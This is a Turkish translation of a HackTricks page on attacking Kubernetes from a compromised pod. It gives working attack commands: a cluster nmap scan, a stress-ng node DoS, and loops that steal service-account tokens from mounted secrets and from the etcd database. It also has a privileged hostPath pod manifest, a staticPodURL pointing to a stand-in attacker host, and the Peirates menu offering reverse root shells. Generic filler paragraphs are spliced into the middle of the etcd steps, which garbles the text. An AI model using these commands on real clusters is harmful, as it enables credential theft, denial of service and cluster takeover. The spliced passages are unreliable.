Turkish - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Attacking Kubernetes from inside a Pod

Bir Pod İçerisinden Kubernetes'e Saldırma

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Pod Kaçışı

Şanslıysanız, ondan düğüme kaçmayı başarabilirsiniz:

Pod'dan Kaçma

Pod'dan kaçmaya çalışmak için önce ayrıcalıkları yükseltmeniz gerekebilir, bunu yapmak için bazı teknikler:

Kompromize ettiğiniz bir pod'dan kaçmak için bu docker kaçışlarını kontrol edebilirsiniz:

Kubernetes Ayrıcalıklarının Kötüye Kullanılması

Kubernetes numaralandırması bölümünde açıklandığı gibi:

Genellikle pod'lar içerisinde bir hizmet hesabı belirteci çalıştırılır. Bu hizmet hesabı, küme içinde yapılandırılmış düğümlere geçmek veya hatta kaçmak için kötüye kullanabileceğiniz bazı ayrıcalıklara sahip olabilir. Nasıl yapılacağını kontrol edin:

Bulut Ayrıcalıklarının Kötüye Kullanılması

Eğer pod bir bulut ortamında çalıştırılıyorsa, metadata uç noktasından bir belirteç sızdırabilir ve bunu kullanarak ayrıcalıkları yükseltebilirsiniz.

Zayıf Ağ Hizmetlerini Araştırma

Kubernetes ortamında olduğunuz için, mevcut pod ayrıcalıklarını kötüye kullanarak ayrıcalıkları yükseltemiyorsanız ve konteynerden kaçamıyorsanız, potansiyel olarak zayıf hizmetleri araştırmalısınız.

Hizmetler

Bu amaçla, kubernetes ortamının tüm hizmetlerini almayı deneyebilirsiniz:

kubectl get svc --all-namespaces

Varsayılan olarak, Kubernetes düz bir ağ şeması kullanır, bu da demektir ki küme içindeki herhangi bir pod/hizmet diğerleriyle iletişim kurabilir. Küme içindeki ad alanları varsayılan olarak herhangi bir ağ güvenliği kısıtlamasına sahip değildir. Ad alanındaki herhangi biri diğer ad alanlarıyla iletişim kurabilir.

Tarama

Aşağıdaki Bash komut dosyası (bir Kubernetes atölyesinden alınmıştır) kubernetes kümesinin IP aralıklarını yükleyip tarayacaktır:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Aşağıdaki sayfayı inceleyerek, Kubernetes özel hizmetlerine saldırarak diğer podları/tüm ortamı tehlikeye atabileceğinizi öğrenebilirsiniz:

Sniffing

Eğer tehlikedeki pod başka podların kimlik doğrulaması için kullanılan hassas bir hizmet çalıştırıyorsa, yerel iletişimi dinleyerek diğer podlardan gönderilen kimlik bilgilerini elde edebilirsiniz.

Network Spoofing

Varsayılan olarak, ARP spoofing (ve buna bağlı olarak DNS Spoofing) gibi teknikler Kubernetes ağında çalışır. Ardından, bir pod içinde, varsayılan olarak NET_RAW yeteneğine sahipseniz, özel olarak oluşturulmuş ağ paketleri gönderebilir ve aynı düğümde çalışan tüm podlara ARP Spoofing aracılığıyla MitM saldırıları gerçekleştirebilirsiniz. Dahası, zararlı pod DNS Sunucusu ile aynı düğümde çalışıyorsa, küme içindeki tüm podlara DNS Spoofing saldırısı gerçekleştirebilirsiniz.

Node DoS

Kubernetes belgelerinde kaynaklar için bir spesifikasyon ve konteynerler için uygulanmış sınırlar bulunmamaktadır. Bir saldırgan olarak, pod/deployment'ın çalıştığı kaynakları tüketebilir ve diğer kaynakları aç bırakarak ortamda bir DoS durumuna neden olabilirsiniz.

Bu, stress-ng gibi bir araçla yapılabilir:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

stress-ng çalışırken ve sonrasında farkı görebilirsiniz.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Sonrası Sızma

Eğer konteynırdan kaçmayı başardıysanız, düğümde aşağıdaki ilginç şeyleri bulabilirsiniz:

  • Konteyner Çalışma Zamanı işlemi (Docker)

  • Bu gibi birini istismar edebileceğiniz düğümde çalışan daha fazla pods/konteyner (daha fazla token)

  • Tüm dosya sistemi ve işletim sistemi genel olarak

  • Dinleyen Kube-Proxy servisi

  • Dinleyen Kubelet servisi. Yapılandırma dosyalarını kontrol edin:

  • Dizin: /var/lib/kubelet/

  • /var/lib/kubelet/kubeconfig

  • /var/lib/kubelet/kubelet.conf

  • /var/lib/kubelet/config.yaml

  • /var/lib/kubelet/kubeadm-flags.env

  • /etc/kubernetes/kubelet-kubeconfig

  • Diğer kubernetes ortak dosyaları:

  • $HOME/.kube/config - Kullanıcı Yapılandırması

  • /etc/kubernetes/kubelet.conf- Normal Yapılandırma

  • /etc/kubernetes/bootstrap-kubelet.conf - Önyükleme Yapılandırması

  • /etc/kubernetes/manifests/etcd.yaml - etcd Yapılandırması

  • /etc/kubernetes/pki - Kubernetes Anahtarı

Düğüm kubeconfig Dosyasını Bulma

Önceden yorumlanan yollardan birinde kubeconfig dosyasını bulamazsanız, kubelet işleminin --kubeconfig argümanını kontrol edin:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Sırları Çalma

Bir Kubernetes podu içerisinden sırları çalmak için aşağıdaki yöntemleri kullanabilirsiniz:

  1. Environment Variables (Çevresel Değişkenler): Pod içerisindeki çevresel değişkenler, sırların depolanabileceği bir kaynaktır. env komutunu kullanarak bu değişkenleri kontrol edebilirsiniz.

  2. Mounted Volumes (Bağlanmış Birimler): Pod içerisindeki birimler, sırların depolanabileceği bir başka yerdir. mount komutunu kullanarak bu birimleri kontrol edebilirsiniz.

  3. API İstekleri: Pod içerisinde çalışan uygulamalar, dışarıya API istekleri yapabilir. Bu isteklerde sırların yer alabileceği bir header veya body olabilir. curl veya wget gibi araçları kullanarak bu istekleri kontrol edebilirsiniz.

  4. Log Dosyaları: Pod içerisinde çalışan uygulamaların log dosyaları, sırların yazıldığı bir başka kaynaktır. cat veya tail komutlarıyla bu log dosyalarını kontrol edebilirsiniz.

  5. Prosesler: Pod içerisinde çalışan prosesler, sırların bellekte tutulduğu bir başka yerdir. ps veya top komutlarıyla bu prosesleri kontrol edebilirsiniz.

Bu yöntemleri kullanarak Kubernetes podu içerisinden sırları çalabilirsiniz. Ancak, bu işlemleri gerçekleştirirken yasalara ve etik kurallara uymayı unutmayın.

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Betik can-they.sh, sizin yerinize diğer podların tokenlerini alacak ve aradığınız izne sahip olup olmadıklarını kontrol edecektir (1'er 1'er bakmak yerine).

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Ayrıcalıklı DaemonSetler

Bir DaemonSet, kümenin tüm düğümlerinde çalışacak bir pod dur. Bu nedenle, bir DaemonSet, ayrıcalıklı bir hizmet hesabıyla yapılandırılmışsa, tüm düğümlerde o ayrıcalıklı hizmet hesabının belirteci ni bulabilir ve bunu kötüye kullanabilirsiniz.

Saldırı, önceki bölümdekiyle aynıdır, ancak şimdi şansa bağlı değilsiniz.

Buluta Geçiş

Eğer küme bir bulut hizmeti tarafından yönetiliyorsa, genellikle Düğümün Pod'dan farklı bir erişimi olacaktır. Bu nedenle, düğümden metadata uç noktasına erişmeyi deneyin (veya hostNetwork'e True olarak ayarlanmış bir poddan):

etcd'yi Çalma

Eğer konteynerı çalıştıracak olan Düğümün nodeName 'unu belirtebiliyorsanız, bir kontrol düğümü düğümünde kabuk alın ve etcd veritabanını alın:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Kontrol düğümleri, ana bilgisayar rolüne sahiptir ve bulut yönetimli kümeleme sistemlerinde bunlarda herhangi bir şey çalıştıramazsınız.

Etcd'den sırları okuyun

Pod spesifikasyonunda nodeName seçicisini kullanarak podunuzu bir kontrol düğümü düğümünde çalıştırabilirseniz, tüm yapılandırmaları ve sırları içeren etcd veritabanına kolayca erişebilirsiniz.

Aşağıda, üzerinde bulunduğunuz kontrol düğümünde etcd çalışıyorsa sırları almanın hızlı ve basit bir yolunu bulabilirsiniz. Eğer etcd istemci aracı etcdctl ile bir pod oluşturup, nerede çalışıyor olursa olsun etcd'ye bağlanmak için kontrol düğümü düğümünün kimlik bilgilerini kullanan daha zarif bir çözüm isterseniz, @mauilion'un bu örnek manifestosuna göz atabilirsiniz.

Kontrol düğümünde etcd'nin çalışıp çalışmadığını ve veritabanının nerede olduğunu kontrol edin (Bu, kubeadm tarafından oluşturulan bir küme üzerinde gerçekleştirilir)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Kubernetes İçerisinden Bir Pod Üzerinden Saldırma

Bu bölümde, bir Kubernetes kümesinde çalışan bir pod içerisinden nasıl saldırı gerçekleştirileceğini öğreneceksiniz. Bu saldırı senaryosunda, bir pod içerisinde çalışan bir saldırganın, aynı kümedeki diğer podlara veya Kubernetes kaynaklarına erişim sağlaması hedeflenmektedir.

Adım 1: Pod İçerisindeki Ağa Erişim

Saldırgan, hedef pod içerisinde çalışan bir konteynerde bulunmaktadır. İlk adımda, saldırganın hedef pod içerisindeki ağa erişim sağlaması gerekmektedir. Bu, saldırganın hedef pod içerisindeki bir konteynerde bir kabuk açması veya bir saldırı aracı çalıştırması ile gerçekleştirilebilir.

Adım 2: Pod İçerisindeki Diğer Podlara Erişim

Saldırgan, hedef pod içerisindeki ağa erişim sağladıktan sonra, aynı kümedeki diğer podlara erişim sağlamak için çeşitli yöntemler kullanabilir. Örneğin, saldırgan, hedef pod içerisinde çalışan bir konteynerdeki ağ arayüzünü kullanarak diğer podlara doğrudan erişebilir veya hedef pod içerisinde çalışan bir saldırı aracı kullanarak diğer podlara saldırabilir.

Adım 3: Kubernetes Kaynaklarına Erişim

Saldırgan, hedef pod içerisindeki diğer podlara erişim sağladıktan sonra, Kubernetes kümesindeki diğer kaynaklara erişim sağlamak için çeşitli yöntemler kullanabilir. Örneğin, saldırgan, hedef pod içerisinde çalışan bir konteynerdeki Kubernetes API'sini kullanarak diğer kaynaklara erişebilir veya hedef pod içerisinde çalışan bir saldırı aracı kullanarak Kubernetes kaynaklarına saldırabilir.

Bu saldırı senaryosunda, saldırganın hedef pod içerisindeki ağa erişim sağlaması ve ardından diğer podlara ve Kubernetes kaynaklarına erişim sağlaması hedeflenmektedir. Bu nedenle, Kubernetes kümesinin güvenliğini sağlamak için gerekli önlemlerin alınması önemlidir.

data-dir=/var/lib/etcd

etcd veritabanındaki verileri görüntüleme:

strings /var/lib/etcd/member/snap/db | less

Veritabanından tokenları çıkarın ve hizmet hesabı adını gösterin

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Aynı komut, ancak sadece kube-system ad alanındaki varsayılan belirteciyi döndüren bazı grepler

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Kubernetes İçerisinden Bir Pod Üzerinden Saldırı

Bu bölümde, bir Kubernetes kümesinde bir pod içerisinden saldırı gerçekleştirmek için kullanılabilecek bazı teknikler hakkında bilgi verilecektir.

1. Pod İçerisindeki Diğer Pod'lara Erişim

Bir pod içerisinde çalışan bir saldırgan, aynı kümedeki diğer pod'lara erişebilir. Bu, ağ trafiğini dinleyerek veya pod içerisindeki bir araç kullanarak gerçekleştirilebilir. Saldırgan, bu şekilde diğer pod'lara saldırabilir veya hassas verilere erişebilir.

2. Pod İçerisindeki Hizmetlerin Sömürülmesi

Bir pod içerisinde çalışan bir saldırgan, pod içerisindeki hizmetleri sömürebilir. Bu, hizmetlerin zayıf noktalarını veya güvenlik açıklarını kullanarak gerçekleştirilebilir. Saldırgan, bu şekilde hizmetleri etkisiz hale getirebilir veya yetkisiz erişim elde edebilir.

3. Pod İçerisindeki İşlemlerin İzlenmesi

Bir pod içerisinde çalışan bir saldırgan, pod içerisindeki işlemleri izleyebilir. Bu, pod içerisindeki bir araç kullanılarak gerçekleştirilebilir. Saldırgan, bu şekilde pod içerisindeki işlemleri takip edebilir ve hassas verilere erişebilir.

4. Pod İçerisindeki Dosyaların Ele Geçirilmesi

Bir pod içerisinde çalışan bir saldırgan, pod içerisindeki dosyalara erişebilir ve ele geçirebilir. Bu, pod içerisindeki bir araç kullanılarak gerçekleştirilebilir. Saldırgan, bu şekilde hassas verilere erişebilir veya dosyaları değiştirebilir.

5. Pod İçerisindeki Kimlik Bilgilerinin Çalınması

Bir pod içerisinde çalışan bir saldırgan, pod içerisindeki kimlik bilgilerini çalabilir. Bu, pod içerisindeki bir araç kullanılarak gerçekleştirilebilir. Saldırgan, bu şekilde kimlik bilgilerini ele geçirebilir ve yetkisiz erişim elde edebilir.

6. Pod İçerisindeki Güvenlik Ayarlarının Atlanması

Bir pod içerisinde çalışan bir saldırgan, pod içerisindeki güvenlik ayarlarını atlatabilir. Bu, pod içerisindeki bir araç kullanılarak veya hizmetlerin zayıf noktalarını kullanarak gerçekleştirilebilir. Saldırgan, bu şekilde pod içerisindeki güvenlik önlemlerini atlayabilir ve yetkisiz erişim elde edebilir.

Bu teknikler, bir pod içerisinden Kubernetes kümesindeki diğer bileşenlere saldırı gerçekleştirmek için kullanılabilir. Saldırganlar, bu teknikleri kullanarak hassas verilere erişebilir, hizmetleri etkisiz hale getirebilir veya yetkisiz erişim elde edebilir. Bu nedenle, Kubernetes kümesinin güvenliğini sağlamak için bu tür saldırılara karşı önlemler alınmalıdır.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Statik/Aynalı Pod Kalıcılığı

Statik Pod'lar, API sunucusunun onları gözlemlememesi durumunda belirli bir düğümde kubelet daemon tarafından doğrudan yönetilen Pod'lardır. Kontrol düzlemi tarafından yönetilen Pod'lar (örneğin, bir Dağıtım); bunun yerine, kubelet her statik Pod'u izler (ve başarısız olursa yeniden başlatır).

Bu nedenle, statik Pod'lar her zaman belirli bir düğümdeki bir Kubelet'e bağlıdır.

Kubelet otomatik olarak her statik Pod için bir ayna Pod oluşturmaya çalışır. Bu, bir düğümde çalışan Pod'ların API sunucusunda görünür olduğu, ancak oradan kontrol edilemediği anlamına gelir. Pod isimleri, bir önekli tire ile düğüm ana bilgisayar adıyla sonlandırılır.

Bir statik Pod'un spec'i diğer API nesnelerine başvuramaz (örneğin, ServiceAccount, ConfigMap, Secret, vb.). Bu nedenle, mevcut düğümdeki küme güvenliğini tehlikeye atmak için bir pod'u keyfi bir serviceAccount ile başlatmak için bu davranışı istismar edemezsiniz. Ancak, bunu bazı nedenlerle farklı ad alanlarında pod'ları çalıştırmak için kullanabilirsiniz.

Eğer düğüm ana bilgisayarının içindeyseniz, kendisi içinde bir statik pod oluşturabilirsiniz. Bu oldukça kullanışlı olabilir çünkü size kube-system gibi farklı bir ad alanında bir pod oluşturma imkanı sağlayabilir.

Bir statik pod oluşturmak için, belgeler büyük bir yardımcıdır. Temel olarak 2 şeye ihtiyacınız vardır:

  • kubelet servisinde veya kubelet yapılandırmasında (staticPodPath olarak bilinen) --pod-manifest-path=/etc/kubernetes/manifests parametresini yapılandırın ve servisi yeniden başlatın

  • pod tanımını /etc/kubernetes/manifests içinde oluşturun

Daha gizli bir yol ise:

  • kubelet yapılandırma dosyasındaki staticPodURL parametresini değiştirin ve staticPodURL: http://saldırgan.com:8765/pod.yaml gibi bir şey ayarlayın. Bu, kubelet işleminin, belirtilen URL'den yapılandırmayı alarak bir statik pod oluşturmasını sağlar.

Örnek olarak, buradan alınan kube-system içinde bir ayrıcalık podu oluşturmak için pod yapılandırması:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Podları Silme + Planlanamayan Düğümler

Bir saldırgan bir düğümü ele geçirdiyse ve diğer düğümlerden podları silebilir ve diğer düğümlerin podları çalıştıramaz hale getirebilirse, podlar ele geçirilmiş düğümde yeniden çalıştırılacak ve saldırgan bu podlarda çalışan jetonları çalabilecektir. Daha fazla bilgi için bu bağlantıları takip edin.

Otomatik Araçlar

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'ı desteklemenin diğer yolları:

PreviousExposing Services in KubernetesNextKubernetes Enumeration

Last updated